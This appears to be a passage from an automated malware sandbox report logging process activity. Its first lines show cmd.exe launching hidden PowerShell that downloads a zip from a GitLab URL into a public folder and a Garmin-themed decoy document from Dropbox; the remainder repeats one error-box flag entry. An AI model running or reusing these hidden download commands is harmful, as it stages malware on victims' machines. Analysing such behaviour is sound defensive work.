Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

